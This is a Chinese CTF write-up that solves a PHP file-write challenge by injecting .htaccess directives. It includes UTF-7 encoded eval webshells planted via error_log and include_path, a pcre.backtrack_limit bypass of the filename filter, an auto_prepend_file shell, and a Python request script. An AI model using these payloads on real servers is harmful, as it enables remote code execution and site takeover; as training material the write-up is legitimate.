前言
关键字:[htaccess|文件包含|尖括号绕过]
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
题解
一开始想着真简单啊,直接写shell,
然后变成了字符串,
预期解
利用error_log写入log文件到
/tmp/fl3g.php
,再设置include_path=/tmp
即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path
到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
尝试上传.htaccess,但是在htaccess文件写入的时候,写入了一些混加的字符来打乱了我们的配置,可以利用注释符,以及转义,来进行绕过即#\
,拼接完成过后就变成了#\\nJust one chance
不存在换行了。
error_log的内容默认是htmlentities
的,我们无法插入类似<?php phpinfo();?>
的payload,尝试设置编码来绕过限制。具体见该wp,还能绕过尖括号<
.
文件编码可以用notepad3或者iconv 1.txt -f UTF-8 -t UTF-7 -o 2.txt
.htaccess不支持多行注释且单行注释#必须在每行的开头
所以.htaccess文件内容
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
include_path:include的路径,设置这个后,如果include(fl3g.php)
就会尝试去包含/tmp/fl3g.php
文件,没有则报错。
error_log:将php运行报错的记录写到指定文件中
error_reporting 32767:2767是所有常量加起来的值
此时我们访问index.php就会触发error,将shell写入/tmp/fl3g.php中
?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw%3Fphp%20die(eval(%24_GET%5B2%5D))%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C
payload打入后,访问界面,这里按理来说应该是触发error了,但是,将报错结果写入/tmp/fl3g.php
再写入个.htaccess文件
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
将编码设置转为UTF-7,这样shell就能够被顺利的解析出来了。
?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C
注意,在这里直接访问/?2=phpinfo();
,payload里也是die()
,目的就是为了不让代码执行到删除文件那里!!!在这里浪费了两个小时才意识到!!!!
非预期解1
设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
大概就是preg_match()
函数在进行正则回溯的时候(比如贪婪匹配)超过100000次后会直接返回false,在这里就把这个次数设为0,导致这个函数直接坏掉。
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
令filename为:
?filename=php://filter/write=convert.base64-decode/resource=.htaccess
content就能绕过stristr
非预期解2
注意:apache2.4.x不支持php_value
换行符是\n
,加了个\
就变成\\n
,就不是换行符了
就被解析成这样:
php_value auto_prepend_fi\
le ".htaccess"
# <?php phpinfo();?>\
import requests
# %23 是# 的url编码,防止python把自己注释了
# \\ , 两个\\上传上去就是 一个 \
content = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''
url = "http://203dd3ff-f703-4233-b159-93832d5b93b3.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)
参考链接
这篇写的很详细: